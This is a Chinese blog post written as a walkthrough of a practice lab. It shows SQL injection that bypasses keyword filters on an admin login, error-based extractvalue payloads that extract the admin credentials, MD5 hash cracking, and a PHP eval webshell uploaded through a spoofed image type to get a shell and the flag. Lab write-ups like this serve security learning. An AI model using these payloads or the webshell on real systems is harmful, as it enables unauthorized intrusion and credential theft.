封神台靶场学习-sql-注入绕过防护getshell

封神台靶场链接:封神台 - 掌控安全在线攻防演练靶场,一个专为网络安全从业人员设计的白帽黑客渗透测试演练平台。

关卡:

点击传送门跳转至关卡界面:

尝试在此页面sql注入后无果,于是使用御剑扫描目录试图找到登录界面,扫描结果:

尝试第一个admin路径后发现登录界面,url:http://pu2lh35s.ia.aqlab.cn/bees/admin/login.php

界面如下:

输入账户密码验证码后用burp抓包:

判断注入点:

报操作数据库失败,说明为注入点,使用order by看页数:

' order by 6#

order by 5显示正确

order by 6显示操作数据库错误:

由此可见页数为5

尝试联合注入看看结果:

' union select 1,2,3,4,5#

这里可以看到我们输进去的union和select被过滤了,于是构造字符拼接进行绕过:

' un union ion selselectect 1,2,3,4,5#

很明显没有返回我们想要的东西,联合注入这条路估计是行不通了 

注:这里我尝试过使用:

' ununionion selselectect 1,2,3,4,5#

结果报错:

我猜测他过滤的时候把空格也加上了

虽然联合注入行不通,但是我们可以尝试下其他注入方式,比如报错注入:

' a and nd extractvalue(1,concat(0x7e,(seselectlect database())))#

注:这里and的字符拼接也是我尝试过后发现他把and给我过滤了

nice,报错注入可以,我们发现数据库了

既然有了数据库名,我们就要进一步注入找账户名和密码了,幸运的是回显以及告诉我们账户表名和密码表名了:

 

于是我们直接构造报错注入语句查看用户名和密码:

先找用户名:

' a and nd extractvalue(1,concat(0x7e,(seselectlect admin_name fr from om bees_admin limit 0,1)))#

告诉我们说不止一行,叫我们用limit,好的,重新构造:

ok,成功找到用户名:admin

同样的道理构造注入语句查看密码:

' a and nd extractvalue(1,concat(0x7e,(seselectlect admin_password fr from om bees_admin limit 0,1)))#

 ok,检验告诉我们,这是一个md5加密,于是去cmd5:

Cmd5 - MD5 Online ,MD5 Decryption, MD5 Hash Decoder

解密发现密码也是admin,好家伙,弱口令是吧(

ok,既然拿到用户名和密码了,不直接登录还有其他选项吗

好的进入后台了,现在要找flag很明显就不得不找找文件上传点写码上传试试了

很好,没花啥功夫就找到了上传点,要求我们只允许上传的图片类型:gif|jpeg|png|jpg|bmp   

好的,上传文件后用burp抓包改类型:

我这里构造的一句话木马语句为:

GIF89a
<script language='php'>@eval($_POST[shell]);</script>

抓包后修改类型后放包: 

点击图片找到上传路径后蚁剑或者菜刀连接:

 我这里用的蚁剑:

根目录下找打flag:

总结:这次靶场个人感觉质量还是挺高的,和之前省赛的题有点像, 自己要坚持努力学习!

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值